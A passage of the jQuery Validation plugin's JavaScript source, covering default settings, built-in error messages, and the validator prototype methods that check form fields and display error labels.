{\n\t\tparams = [ params ];\n\t}\n\t$.each( params, function( i, n ) {\n\t\tsource = source.replace( new RegExp( \"\\\\{\" + i + \"\\\\}\", \"g\" ), function() {\n\t\t\treturn n;\n\t\t});\n\t});\n\treturn source;\n};\n\n$.extend( $.validator, {\n\n\tdefaults: {\n\t\tmessages: {},\n\t\tgroups: {},\n\t\trules: {},\n\t\terrorClass: \"error\",\n\t\tvalidClass: \"valid\",\n\t\terrorElement: \"label\",\n\t\tfocusCleanup: false,\n\t\tfocusInvalid: true,\n\t\terrorContainer: $( [] ),\n\t\terrorLabelContainer: $( [] ),\n\t\tonsubmit: true,\n\t\tignore: \":hidden\",\n\t\tignoreTitle: false,\n\t\tonfocusin: function( element ) {\n\t\t\tthis.lastActive = element;\n\n\t\t\t// Hide error label and remove error class on focus if enabled\n\t\t\tif ( this.settings.focusCleanup ) {\n\t\t\t\tif ( this.settings.unhighlight ) {\n\t\t\t\t\tthis.settings.unhighlight.call( this, element, this.settings.errorClass, this.settings.validClass );\n\t\t\t\t}\n\t\t\t\tthis.hideThese( this.errorsFor( element ) );\n\t\t\t}\n\t\t},\n\t\tonfocusout: function( element ) {\n\t\t\tif ( !this.checkable( element ) && ( element.name in this.submitted || !this.optional( element ) ) ) {\n\t\t\t\tthis.element( element );\n\t\t\t}\n\t\t},\n\t\tonkeyup: function( element, event ) {\n\t\t\t// Avoid revalidate the field when pressing one of the following keys\n\t\t\t// Shift => 16\n\t\t\t// Ctrl => 17\n\t\t\t// Alt => 18\n\t\t\t// Caps lock => 20\n\t\t\t// End => 35\n\t\t\t// Home => 36\n\t\t\t// Left arrow => 37\n\t\t\t// Up arrow => 38\n\t\t\t// Right arrow => 39\n\t\t\t// Down arrow => 40\n\t\t\t// Insert => 45\n\t\t\t// Num lock => 144\n\t\t\t// AltGr key => 225\n\t\t\tvar excludedKeys = [\n\t\t\t\t16, 17, 18, 20, 35, 36, 37,\n\t\t\t\t38, 39, 40, 45, 144, 225\n\t\t\t];\n\n\t\t\tif ( event.which === 9 && this.elementValue( element ) === \"\" || $.inArray( event.keyCode, excludedKeys ) !== -1 ) {\n\t\t\t\treturn;\n\t\t\t} else if ( element.name in this.submitted || element === this.lastElement ) {\n\t\t\t\tthis.element( element );\n\t\t\t}\n\t\t},\n\t\tonclick: function( element ) {\n\t\t\t// click on selects, radiobuttons and checkboxes\n\t\t\tif ( element.name in this.submitted ) {\n\t\t\t\tthis.element( element );\n\n\t\t\t// or option elements, check parent select in that case\n\t\t\t} else if ( element.parentNode.name in this.submitted ) {\n\t\t\t\tthis.element( element.parentNode );\n\t\t\t}\n\t\t},\n\t\thighlight: function( element, errorClass, validClass ) {\n\t\t\tif ( element.type === \"radio\" ) {\n\t\t\t\tthis.findByName( element.name ).addClass( errorClass ).removeClass( validClass );\n\t\t\t} else {\n\t\t\t\t$( element ).addClass( errorClass ).removeClass( validClass );\n\t\t\t}\n\t\t},\n\t\tunhighlight: function( element, errorClass, validClass ) {\n\t\t\tif ( element.type === \"radio\" ) {\n\t\t\t\tthis.findByName( element.name ).removeClass( errorClass ).addClass( validClass );\n\t\t\t} else {\n\t\t\t\t$( element ).removeClass( errorClass ).addClass( validClass );\n\t\t\t}\n\t\t}\n\t},\n\n\t// http://jqueryvalidation.org/jQuery.validator.setDefaults/\n\tsetDefaults: function( settings ) {\n\t\t$.extend( $.validator.defaults, settings );\n\t},\n\n\tmessages: {\n\t\trequired: \"This field is required.\",\n\t\tremote: \"Please fix this field.\",\n\t\temail: \"Please enter a valid email address.\",\n\t\turl: \"Please enter a valid URL.\",\n\t\tdate: \"Please enter a valid date.\",\n\t\tdateISO: \"Please enter a valid date ( ISO ).\",\n\t\tnumber: \"Please enter a valid number.\",\n\t\tdigits: \"Please enter only digits.\",\n\t\tcreditcard: \"Please enter a valid credit card number.\",\n\t\tequalTo: \"Please enter the same value again.\",\n\t\tmaxlength: $.validator.format( \"Please enter no more than {0} characters.\" ),\n\t\tminlength: $.validator.format( \"Please enter at least {0} characters.\" ),\n\t\trangelength: $.validator.format( \"Please enter a value between {0} and {1} characters long.\" ),\n\t\trange: $.validator.format( \"Please enter a value between {0} and {1}.\" ),\n\t\tmax: $.validator.format( \"Please enter a value less than or equal to {0}.\" ),\n\t\tmin: $.validator.format( \"Please enter a value greater than or equal to {0}.\" )\n\t},\n\n\tautoCreateRanges: false,\n\n\tprototype: {\n\n\t\tinit: function() {\n\t\t\tthis.labelContainer = $( this.settings.errorLabelContainer );\n\t\t\tthis.errorContext = this.labelContainer.length && this.labelContainer || $( this.currentForm );\n\t\t\tthis.containers = $( this.settings.errorContainer ).add( this.settings.errorLabelContainer );\n\t\t\tthis.submitted = {};\n\t\t\tthis.valueCache = {};\n\t\t\tthis.pendingRequest = 0;\n\t\t\tthis.pending = {};\n\t\t\tthis.invalid = {};\n\t\t\tthis.reset();\n\n\t\t\tvar groups = ( this.groups = {} ),\n\t\t\t\trules;\n\t\t\t$.each( this.settings.groups, function( key, value ) {\n\t\t\t\tif ( typeof value === \"string\" ) {\n\t\t\t\t\tvalue = value.split( /\\s/ );\n\t\t\t\t}\n\t\t\t\t$.each( value, function( index, name ) {\n\t\t\t\t\tgroups[ name ] = key;\n\t\t\t\t});\n\t\t\t});\n\t\t\trules = this.settings.rules;\n\t\t\t$.each( rules, function( key, value ) {\n\t\t\t\trules[ key ] = $.validator.normalizeRule( value );\n\t\t\t});\n\n\t\t\tfunction delegate( event ) {\n\t\t\t\tvar validator = $.data( this.form, \"validator\" ),\n\t\t\t\t\teventType = \"on\" + event.type.replace( /^validate/, \"\" ),\n\t\t\t\t\tsettings = validator.settings;\n\t\t\t\tif ( settings[ eventType ] && !$( this ).is( settings.ignore ) ) {\n\t\t\t\t\tsettings[ eventType ].call( validator, this, event );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$( this.currentForm )\n\t\t\t\t.on( \"focusin.validate focusout.validate keyup.validate\",\n\t\t\t\t\t\":text, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'], \" +\n\t\t\t\t\t\"[type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], \" +\n\t\t\t\t\t\"[type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'], \" +\n\t\t\t\t\t\"[type='radio'], [type='checkbox']\", delegate)\n\t\t\t\t// Support: Chrome, oldIE\n\t\t\t\t// \"select\" is provided as event.target when clicking a option\n\t\t\t\t.on(\"click.validate\", \"select, option, [type='radio'], [type='checkbox']\", delegate);\n\n\t\t\tif ( this.settings.invalidHandler ) {\n\t\t\t\t$( this.currentForm ).on( \"invalid-form.validate\", this.settings.invalidHandler );\n\t\t\t}\n\n\t\t\t// Add aria-required to any Static/Data/Class required fields before first validation\n\t\t\t// Screen readers require this attribute to be present before the initial submission http://www.w3.org/TR/WCAG-TECHS/ARIA2.html\n\t\t\t$( this.currentForm ).find( \"[required], [data-rule-required], .required\" ).attr( \"aria-required\", \"true\" );\n\t\t},\n\n\t\t// http://jqueryvalidation.org/Validator.form/\n\t\tform: function() {\n\t\t\tthis.checkForm();\n\t\t\t$.extend( this.submitted, this.errorMap );\n\t\t\tthis.invalid = $.extend({}, this.errorMap );\n\t\t\tif ( !this.valid() ) {\n\t\t\t\t$( this.currentForm ).triggerHandler( \"invalid-form\", [ this ]);\n\t\t\t}\n\t\t\tthis.showErrors();\n\t\t\treturn this.valid();\n\t\t},\n\n\t\tcheckForm: function() {\n\t\t\tthis.prepareForm();\n\t\t\tfor ( var i = 0, elements = ( this.currentElements = this.elements() ); elements[ i ]; i++ ) {\n\t\t\t\tthis.check( elements[ i ] );\n\t\t\t}\n\t\t\treturn this.valid();\n\t\t},\n\n\t\t// http://jqueryvalidation.org/Validator.element/\n\t\telement: function( element ) {\n\t\t\tvar cleanElement = this.clean( element ),\n\t\t\t\tcheckElement = this.validationTargetFor( cleanElement ),\n\t\t\t\tresult = true;\n\n\t\t\tthis.lastElement = checkElement;\n\n\t\t\tif ( checkElement === undefined ) {\n\t\t\t\tdelete this.invalid[ cleanElement.name ];\n\t\t\t} else {\n\t\t\t\tthis.prepareElement( checkElement );\n\t\t\t\tthis.currentElements = $( checkElement );\n\n\t\t\t\tresult = this.check( checkElement ) !== false;\n\t\t\t\tif ( result ) {\n\t\t\t\t\tdelete this.invalid[ checkElement.name ];\n\t\t\t\t} else {\n\t\t\t\t\tthis.invalid[ checkElement.name ] = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Add aria-invalid status for screen readers\n\t\t\t$( element ).attr( \"aria-invalid\", !result );\n\n\t\t\tif ( !this.numberOfInvalids() ) {\n\t\t\t\t// Hide error containers on last error\n\t\t\t\tthis.toHide = this.toHide.add( this.containers );\n\t\t\t}\n\t\t\tthis.showErrors();\n\t\t\treturn result;\n\t\t},\n\n\t\t// http://jqueryvalidation.org/Validator.showErrors/\n\t\tshowErrors: function( errors ) {\n\t\t\tif ( errors ) {\n\t\t\t\t// add items to error list and map\n\t\t\t\t$.extend( this.errorMap, errors );\n\t\t\t\tthis.errorList = [];\n\t\t\t\tfor ( var name in errors ) {\n\t\t\t\t\tthis.errorList.push({\n\t\t\t\t\t\tmessage: errors[ name ],\n\t\t\t\t\t\telement: this.findByName( name )[ 0 ]\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\t// remove items from success list\n\t\t\t\tthis.successList = $.grep( this.successList, function( element ) {\n\t\t\t\t\treturn !( element.name in errors );\n\t\t\t\t});\n\t\t\t}\n\t\t\tif ( this.settings.showErrors ) {\n\t\t\t\tthis.settings.showErrors.call( this, this.errorMap, this.errorList );\n\t\t\t} else {\n\t\t\t\tthis.defaultShowErrors();\n\t\t\t}\n\t\t},\n\n\t\t// http://jqueryvalidation.org/Validator.resetForm/\n\t\tresetForm: function() {\n\t\t\tif ( $.fn.resetForm ) {\n\t\t\t\t$( this.currentForm ).resetForm();\n\t\t\t}\n\t\t\tthis.submitted = {};\n\t\t\tthis.lastElement = null;\n\t\t\tthis.prepareForm();\n\t\t\tthis.hideErrors();\n\t\t\tvar i, elements = this.elements()\n\t\t\t\t.removeData( \"previousValue\" )\n\t\t\t\t.removeAttr( \"aria-invalid\" );\n\n\t\t\tif ( this.settings.unhighlight ) {\n\t\t\t\tfor ( i = 0; elements[ i ]; i++ ) {\n\t\t\t\t\tthis.settings.unhighlight.call( this, elements[ i ],\n\t\t\t\t\t\tthis.settings.errorClass, \"\" );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\telements.removeClass( this.settings.errorClass );\n\t\t\t}\n\t\t},\n\n\t\tnumberOfInvalids: function() {\n\t\t\treturn this.objectLength( this.invalid );\n\t\t},\n\n\t\tobjectLength: function( obj ) {\n\t\t\t/* jshint unused: false */\n\t\t\tvar count = 0,\n\t\t\t\ti;\n\t\t\tfor ( i in obj ) {\n\t\t\t\tcount++;\n\t\t\t}\n\t\t\treturn count;\n\t\t},\n\n\t\thideErrors: function() {\n\t\t\tthis.hideThese( this.toHide );\n\t\t},\n\n\t\thideThese: function( errors ) {\n\t\t\terrors.not( this.containers ).text( \"\" );\n\t\t\tthis.addWrapper( errors ).hide();\n\t\t},\n\n\t\tvalid: function() {\n\t\t\treturn this.size() === 0;\n\t\t},\n\n\t\tsize: function() {\n\t\t\treturn this.errorList.length;\n\t\t},\n\n\t\tfocusInvalid: function() {\n\t\t\tif ( this.settings.focusInvalid ) {\n\t\t\t\ttry {\n\t\t\t\t\t$( this.findLastActive() || this.errorList.length && this.errorList[ 0 ].element || [])\n\t\t\t\t\t.filter( \":visible\" )\n\t\t\t\t\t.focus()\n\t\t\t\t\t// manually trigger focusin event; without it, focusin handler isn't called, findLastActive won't have anything to find\n\t\t\t\t\t.trigger( \"focusin\" );\n\t\t\t\t} catch ( e ) {\n\t\t\t\t\t// ignore IE throwing errors when focusing hidden elements\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\tfindLastActive: function() {\n\t\t\tvar lastActive = this.lastActive;\n\t\t\treturn lastActive && $.grep( this.errorList, function( n ) {\n\t\t\t\treturn n.element.name === lastActive.name;\n\t\t\t}).length === 1 && lastActive;\n\t\t},\n\n\t\telements: function() {\n\t\t\tvar validator = this,\n\t\t\t\trulesCache = {};\n\n\t\t\t// select all valid inputs inside the form (no submit or reset buttons)\n\t\t\treturn $( this.currentForm )\n\t\t\t.find( \"input, select, textarea\" )\n\t\t\t.not( \":submit, :reset, :image, :disabled\" )\n\t\t\t.not( this.settings.ignore )\n\t\t\t.filter( function() {\n\t\t\t\tif ( !this.name && validator.settings.debug && window.console ) {\n\t\t\t\t\tconsole.error( \"%o has no name assigned\", this );\n\t\t\t\t}\n\n\t\t\t\t// select only the first element for each name, and only those with rules specified\n\t\t\t\tif ( this.name in rulesCache || !validator.objectLength( $( this ).rules() ) ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\trulesCache[ this.name ] = true;\n\t\t\t\treturn true;\n\t\t\t});\n\t\t},\n\n\t\tclean: function( selector ) {\n\t\t\treturn $( selector )[ 0 ];\n\t\t},\n\n\t\terrors: function() {\n\t\t\tvar errorClass = this.settings.errorClass.split( \" \" ).join( \".\" );\n\t\t\treturn $( this.settings.errorElement + \".\" + errorClass, this.errorContext );\n\t\t},\n\n\t\treset: function() {\n\t\t\tthis.successList = [];\n\t\t\tthis.errorList = [];\n\t\t\tthis.errorMap = {};\n\t\t\tthis.toShow = $( [] );\n\t\t\tthis.toHide = $( [] );\n\t\t\tthis.currentElements = $( [] );\n\t\t},\n\n\t\tprepareForm: function() {\n\t\t\tthis.reset();\n\t\t\tthis.toHide = this.errors().add( this.containers );\n\t\t},\n\n\t\tprepareElement: function( element ) {\n\t\t\tthis.reset();\n\t\t\tthis.toHide = this.errorsFor( element );\n\t\t},\n\n\t\telementValue: function( element ) {\n\t\t\tvar val,\n\t\t\t\t$element = $( element ),\n\t\t\t\ttype = element.type;\n\n\t\t\tif ( type === \"radio\" || type === \"checkbox\" ) {\n\t\t\t\treturn this.findByName( element.name ).filter(\":checked\").val();\n\t\t\t} else if ( type === \"number\" && typeof element.validity !== \"undefined\" ) {\n\t\t\t\treturn element.validity.badInput ? false : $element.val();\n\t\t\t}\n\n\t\t\tval = $element.val();\n\t\t\tif ( typeof val === \"string\" ) {\n\t\t\t\treturn val.replace(/\\r/g, \"\" );\n\t\t\t}\n\t\t\treturn val;\n\t\t},\n\n\t\tcheck: function( element ) {\n\t\t\telement = this.validationTargetFor( this.clean( element ) );\n\n\t\t\tvar rules = $( element ).rules(),\n\t\t\t\trulesCount = $.map( rules, function( n, i ) {\n\t\t\t\t\treturn i;\n\t\t\t\t}).length,\n\t\t\t\tdependencyMismatch = false,\n\t\t\t\tval = this.elementValue( element ),\n\t\t\t\tresult, method, rule;\n\n\t\t\tfor ( method in rules ) {\n\t\t\t\trule = { method: method, parameters: rules[ method ] };\n\t\t\t\ttry {\n\n\t\t\t\t\tresult = $.validator.methods[ method ].call( this, val, element, rule.parameters );\n\n\t\t\t\t\t// if a method indicates that the field is optional and therefore valid,\n\t\t\t\t\t// don't mark it as valid when there are no other rules\n\t\t\t\t\tif ( result === \"dependency-mismatch\" && rulesCount === 1 ) {\n\t\t\t\t\t\tdependencyMismatch = true;\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tdependencyMismatch = false;\n\n\t\t\t\t\tif ( result === \"pending\" ) {\n\t\t\t\t\t\tthis.toHide = this.toHide.not( this.errorsFor( element ) );\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( !result ) {\n\t\t\t\t\t\tthis.formatAndAdd( element, rule );\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t} catch ( e ) {\n\t\t\t\t\tif ( this.settings.debug && window.console ) {\n\t\t\t\t\t\tconsole.log( \"Exception occurred when checking element \" + element.id + \", check the '\" + rule.method + \"' method.\", e );\n\t\t\t\t\t}\n\t\t\t\t\tif ( e instanceof TypeError ) {\n\t\t\t\t\t\te.message += \". Exception occurred when checking element \" + element.id + \", check the '\" + rule.method + \"' method.\";\n\t\t\t\t\t}\n\n\t\t\t\t\tthrow e;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ( dependencyMismatch ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif ( this.objectLength( rules ) ) {\n\t\t\t\tthis.successList.push( element );\n\t\t\t}\n\t\t\treturn true;\n\t\t},\n\n\t\t// return the custom message for the given element and validation method\n\t\t// specified in the element's HTML5 data attribute\n\t\t// return the generic message if present and no method specific message is present\n\t\tcustomDataMessage: function( element, method ) {\n\t\t\treturn $( element ).data( \"msg\" + method.charAt( 0 ).toUpperCase() +\n\t\t\t\tmethod.substring( 1 ).toLowerCase() ) || $( element ).data( \"msg\" );\n\t\t},\n\n\t\t// return the custom message for the given element name and validation method\n\t\tcustomMessage: function( name, method ) {\n\t\t\tvar m = this.settings.messages[ name ];\n\t\t\treturn m && ( m.constructor === String ? m : m[ method ]);\n\t\t},\n\n\t\t// return the first defined argument, allowing empty strings\n\t\tfindDefined: function() {\n\t\t\tfor ( var i = 0; i < arguments.length; i++) {\n\t\t\t\tif ( arguments[ i ] !== undefined ) {\n\t\t\t\t\treturn arguments[ i ];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn undefined;\n\t\t},\n\n\t\tdefaultMessage: function( element, method ) {\n\t\t\treturn this.findDefined(\n\t\t\t\tthis.customMessage( element.name, method ),\n\t\t\t\tthis.customDataMessage( element, method ),\n\t\t\t\t// title is never undefined, so handle empty string as undefined\n\t\t\t\t!this.settings.ignoreTitle && element.title || undefined,\n\t\t\t\t$.validator.messages[ method ],\n\t\t\t\t\"Warning: No message defined for \" + element.name + \"\"\n\t\t\t);\n\t\t},\n\n\t\tformatAndAdd: function( element, rule ) {\n\t\t\tvar message = this.defaultMessage( element, rule.method ),\n\t\t\t\ttheregex = /\\$?\\{(\\d+)\\}/g;\n\t\t\tif ( typeof message === \"function\" ) {\n\t\t\t\tmessage = message.call( this, rule.parameters, element );\n\t\t\t} else if ( theregex.test( message ) ) {\n\t\t\t\tmessage = $.validator.format( message.replace( theregex, \"{$1}\" ), rule.parameters );\n\t\t\t}\n\t\t\tthis.errorList.push({\n\t\t\t\tmessage: message,\n\t\t\t\telement: element,\n\t\t\t\tmethod: rule.method\n\t\t\t});\n\n\t\t\tthis.errorMap[ element.name ] = message;\n\t\t\tthis.submitted[ element.name ] = message;\n\t\t},\n\n\t\taddWrapper: function( toToggle ) {\n\t\t\tif ( this.settings.wrapper ) {\n\t\t\t\ttoToggle = toToggle.add( toToggle.parent( this.settings.wrapper ) );\n\t\t\t}\n\t\t\treturn toToggle;\n\t\t},\n\n\t\tdefaultShowErrors: function() {\n\t\t\tvar i, elements, error;\n\t\t\tfor ( i = 0; this.errorList[ i ]; i++ ) {\n\t\t\t\terror = this.errorList[ i ];\n\t\t\t\tif ( this.settings.highlight ) {\n\t\t\t\t\tthis.settings.highlight.call( this, error.element, this.settings.errorClass, this.settings.validClass );\n\t\t\t\t}\n\t\t\t\tthis.showLabel( error.element, error.message );\n\t\t\t}\n\t\t\tif ( this.errorList.length ) {\n\t\t\t\tthis.toShow = this.toShow.add( this.containers );\n\t\t\t}\n\t\t\tif ( this.settings.success ) {\n\t\t\t\tfor ( i = 0; this.successList[ i ]; i++ ) {\n\t\t\t\t\tthis.showLabel( this.successList[ i ] );\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ( this.settings.unhighlight ) {\n\t\t\t\tfor ( i = 0, elements = this.validElements(); elements[ i ]; i++ ) {\n\t\t\t\t\tthis.settings.unhighlight.call( this, elements[ i ], this.settings.errorClass, this.settings.validClass );\n\t\t\t\t}\n\t\t\t}\n\t\t\tthis.toHide = this.toHide.not( this.toShow );\n\t\t\tthis.hideErrors();\n\t\t\tthis.addWrapper( this.toShow ).show();\n\t\t},\n\n\t\tvalidElements: function() {\n\t\t\treturn this.currentElements.not( this.invalidElements() );\n\t\t},\n\n\t\tinvalidElements: function() {\n\t\t\treturn $( this.errorList ).map(function() {\n\t\t\t\treturn this.element;\n\t\t\t});\n\t\t},\n\n\t\tshowLabel: function( element, message ) {\n\t\t\tvar place, group, errorID,\n\t\t\t\terror = this.errorsFor( element ),\n\t\t\t\telementID = this.idOrName( element ),\n\t\t\t\tdescribedBy = $( element ).attr( \"aria-describedby\" );\n\t\t\tif ( error.length ) {\n\t\t\t\t// refresh error/success class\n\t\t\t\terror.removeClass( this.settings.validClass ).addClass( this.settings.errorClass );\n\t\t\t\t// replace message on existing label\n\t\t\t\terror.html( message );\n\t\t\t} else {\n\t\t\t\t// create error element\n\t\t\t\terror = $( \"<\" + this.settings.errorElement + \">\" )\n\t\t\t\t\t.attr( \"id\", elementID + \"-error\" )\n\t\t\t\t\t.addClass( this.settings.errorClass )\n\t\t\t\t\t.html( message || \"\" );\n\n\t\t\t\t// Maintain reference to the element to be placed into the DOM\n\t\t\t\tplace = error;\n\t\t\t\tif ( this.settings.wrapper ) {\n\t\t\t\t\t// make sure the element is visible, even in IE\n\t\t\t\t\t// actually showing the wrapped element is handled elsewhere\n\t\t\t\t\tplace = error.hide().show().wrap( \"<\" + this.settings.wrapper + \"/>\" ).parent();\n\t\t\t\t}\n\t\t\t\tif ( this.labelContainer.length ) {\n\t\t\t\t\tthis.labelContainer.append( place );\n\t\t\t\t} else if ( this.settings.errorPlacement ) {\n\t\t\t\t\tthis.settings.errorPlacement( place, $( element ) );\n\t\t\t\t} else {\n\t\t\t\t\tplace.insertAfter( element );\n\t\t\t\t}\n\n\t\t\t\t// Link error back to the element\n\t\t\t\tif ( error.is( \"label\" ) ) {\n\t\t\t\t\t// If the error is a label, then associate using 'for'\n\t\t\t\t\terror.attr( \"for\", elementID );\n\t\t\t\t} else if ( error.parents( \"label[for='\" + elementID + \"']\" ).length === 0 ) {\n\t\t\t\t\t// If the element is not a child of an associated label, then it's necessary\n\t\t\t\t\t// to explicitly apply aria-describedby\n\n\t\t\t\t\terrorID = error.attr( \"id\" ).replace( /(:|\\.|\\[|\\]|\\$)/g, \"\\\\$1\");\n\t\t\t\t\t// Respect existing non-error aria-describedby\n\t\t\t\t\tif ( !describedBy ) {\n\t\t\t\t\t\tdescribedBy = errorID;\n\t\t\t\t\t} else if ( !describedBy.match( new RegExp( \"\\\\b\" + errorID + \"\\\\b\" ) ) ) {\n\t\t\t\t\t\t// Add to end of list if not already present\n\t\t\t\t\t\tdescribedBy += \" \" + errorID;\n\t\t\t\t\t}\n\t\t\t\t\t$( element ).attr( \"aria-describedby\", describedBy );\n\n\t\t\t\t\t// If this element is grouped, then assign to all elements in the same group\n\t\t\t\t\tgroup = this.groups[ element.name ];\n\t\t\t\t\tif ( group ) {\n\t\t\t\t\t\t$.each( this.groups, function( name, testgroup ) {\n\t\t\t\t\t\t\tif ( testgroup === group ) {\n\t\t\t\t\t\t\t\t$( \"[name='\" + name + \"']\", this.currentForm )\n\t\t\t\t\t\t\t\t\t.attr( \"aria-describedby\", error.attr( \"id\" ) );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ( !message && this.settings.success ) {\n\t\t\t\terror.text( \"\" );\n\t\t\t\tif ( typeof this.settings.success === \"string\" ) {\n\t\t\t\t\terror.addClass( this.settings.success );\n\t\t\t\t} else {\n\t\t\t\t\tthis.settings.success( error, element );\n\t\t\t\t}\n\t\t\t}\n\t\t\tthis.toShow = this.toShow.add( error );\n\t\t},\n\n\t\terrorsFor: function( element ) {\n\t\t\tvar name = this.idOrName( element ),\n\t\t\t\tdescriber = $( element ).attr( \"aria-describedby\" ),\n\t\t\t\tselector = \"label[for='\" + name + \"'], label[for='\" + name + \"'] *\";\n\n\t\t\t// aria-describedby should directly reference the error element\n\t\t\tif ( describer ) {\n\t\t\t\tselector = selector + \", #\" + describer.replace( /\\s+/g, \", #\" );\n\t\t\t}\n\t\t\treturn this\n\t\t\t\t.errors()\n\t\t\t\t.filter( selector );\n\t\t},\n\n\t\tidOrName: function( element ) {\n\t\t\treturn this.groups[ element.name ] || ( this.checkable( element ) ? element.name : element.id || element.name );\n\t\t},\n\n\t\tvalidationTargetFor: function( element ) {\n\n\t\t\t// If radio/checkbox, validate first element in group instead\n\t\t\tif ( this.checkable( element ) ) {\n\t\t\t\telement = this.findByName( element.name );\n\t\t\t}\n\n\t\t\t// Always apply ignore filter\n\t\t\treturn $( element ).not( this.settings.ignore )[ 0 ];\n\t\t},\n\n\t\tcheckable: function( element ) {\n\t\t\treturn ( /radio|checkbox/i ).test( element.type );\n\t\t},\n\n\t\tfindByName: function( name ) {\n\t\t\treturn $( this.currentForm ).find( \"[name='\" + name + \"']\" );\n\t\t},\n\n\t\tgetLength: function( value, element ) {\n\t\t\tswitch ( element.nodeName.toLowerCase() ) {\n\t\t\tcase \"select\":\n\t\t\t\treturn $( \"option:selected\", element ).length;\n\t\t\tcase \"input\":\n\t\t\t\tif ( this.checkable( element ) ) {\n\t\t\t\t\treturn this.findByName( element.name ).filter( \":checked\" ).length;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn value.length;\n\t\t},\n\n\t\tdepend: function( param, element ) {\n\t\t\treturn this.dependTypes[typeof param] ? this.dependTypes[typeof param]( param, element ) : true;\n\t\t},\n\n\t\tdependTypes: {\n\t\t\t\"boolean\": function( param ) {\n\t\t\t\treturn param;\n\t\t\t},\n\t\t\t\"string\": function( param, element ) {\n\t\t\t\treturn !!$( param, element.form ).length;\n\t\t\t},\n\t\t\t\"function\": function( param, element ) {\n\t\t\t\treturn param( element );\n\t\t\t}\n\t\t},\n\n\t\toptional: function( element ) {\n\t\t\tvar val = this.elementValue( element );\n\t\t\treturn !$.validator.methods.required.call( this, val, element ) && \"dependency-mismatch\";\n\t\t},\n\n\t\tstartRequest: function( element ) {\n\t\t\tif ( !this.pending[ element.name ] ) {\n\t\t\t\tthis.pendingRequest++;\n\t\t\t\tthis.pending[ element.name ] = true;\n\t\t\t}\n\t\t},\n\n\t\tstopRequest: function( element, valid ) {\n\t\t\tthis.pendingRequest--;\n\t\t\t// sometimes synchronization fails, make sure pendingRequest is never < 0\n\t\t\tif ( this.pendingRequest < 0 ) {\n\t\t\t\tthis.pendingRequest = 0;\n\t\t\t}\n\t\t\tdelete this.pending[ element.name ];\n\t\t\tif ( valid && this.pendingRequest === 0 && this.formSubmitted && this.form() ) {\n\t\t\t\t$( this.currentForm ).submit();\n\t\t\t\tthis.formSubmitted = false;\n\t\t\t} else if (!valid && this.pendingRequest === 0 && this.formSubmitted ) {\n\t\t\t\t$( this.currentForm ).triggerHandler( \"invalid-form\", [ this ]);\n\t\t\t\tthis.formSubmitted = false;\n\t\t\t}\n\t\t},\n\n\t\tpreviousValue: function( element ) {\n\t\t\treturn $.data( element, \"previousValue\" ) || $.data( element, \"previousValue\", {\n\t\t\t\told: null,\n\t\t\t\tvalid: true,\n\t\t\t\tmessage: this.defaultMessage( element, \"remote\" )\n\t\t\t});\n\t\t},\n\n\t\t// cleans up all forms and elements, removes validator-specific events\n\t\tdestroy: function() {\n\t\t\tthis.resetForm();\n\n\t\t\t$( this.currentForm )\n\t\t\t\t.off( \".validate\" )\n\t\t\t\t.removeData( \"validator\" );\n\t\t}\n\n\t},\n\n\tclassRuleSettings: {\n\t\trequired: { required: true },\n\t\temail: { email: true },\n\t\turl: { url: true },\n\t\tdate: { date: true },\n\t\tdateISO: { dateISO: true },\n\t\tnumber: { number: true },\n\t\tdigits: { digits: true },\n\t\tcreditcard: { creditcard: true }\n\t},\n\n\taddClassRules: function( className, rules ) {\n\t\tif ( className.constructor === String ) {\n\t\t\tthis.classRuleSettings[ className ] = rules;\n\t\t} else {\n\t\t\t$.extend( this.classRuleSettings, className );\n\t\t}\n\t},\n\n\tclassRules: function( element ) {\n\t\tvar rules = {},\n\t\t\tclasses = $( element ).attr( \"class\" );\n\n\t\tif ( classes ) {\n\t\t\t$.each( classes.split( \" \" ), function() {\n\t\t\t\tif ( this in $.validator.classRuleSettings ) {\n\t\t\t\t\t$.extend( rules, $.validator.classRuleSettings[ this ]);\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t\treturn rules;\n\t},\n\n\tnormalizeAttributeRule: function( rules, type, method, value ) {\n\n\t\t// convert the value to a number for number inputs, and for text for backwards compability\n\t\t// allows type=\"date\" and others to be compared as strings\n\t\tif ( /min|max/.test( method ) && ( type === null || /number|range|text/.test( type ) ) ) {\n\t\t\tvalue = Number( value );\n\n\t\t\t// Support Opera Mini, which returns NaN for undefined minlength\n\t\t\tif ( isNaN( value ) ) {\n\t\t\t\tvalue = undefined;\n\t\t\t}\n\t\t}\n\n\t\tif ( value || value === 0 ) {\n\t\t\trules[ method ] = value;\n\t\t} else if ( type === method && type !== \"range\" ) {\n\n\t\t\t// exception: the jquery validate 'range' method\n\t\t\t// does not test for the html5 'range' type\n\t\t\trules[ method ] = true;\n\t\t}\n\t},\n\n\tattributeRules: function( element ) {\n\t\tvar rules = {},\n\t\t\t$element = $( element ),\n\t\t\ttype = element.getAttribute( \"type\" ),\n\t\t\tmethod, value;\n\n\t\tfor ( method in $.validator.methods ) {\n\n\t\t\t// support for in both html5 and older browsers\n\t\t\tif ( method === \"required\" ) {\n\t\t\t\tvalue = element.getAttribute( method );\n\n\t\t\t\t// Some browsers return an empty string for the required attribute\n\t\t\t\t// and non-HTML5 browsers might have required=\"\" markup\n\t\t\t\tif ( value === \"\" ) {\n\t\t\t\t\tvalue = true;\n\t\t\t\t}\n\n\t\t\t\t// force non-HTML5 browsers to return bool\n\t\t\t\tvalue = !!value;\n\t\t\t} else 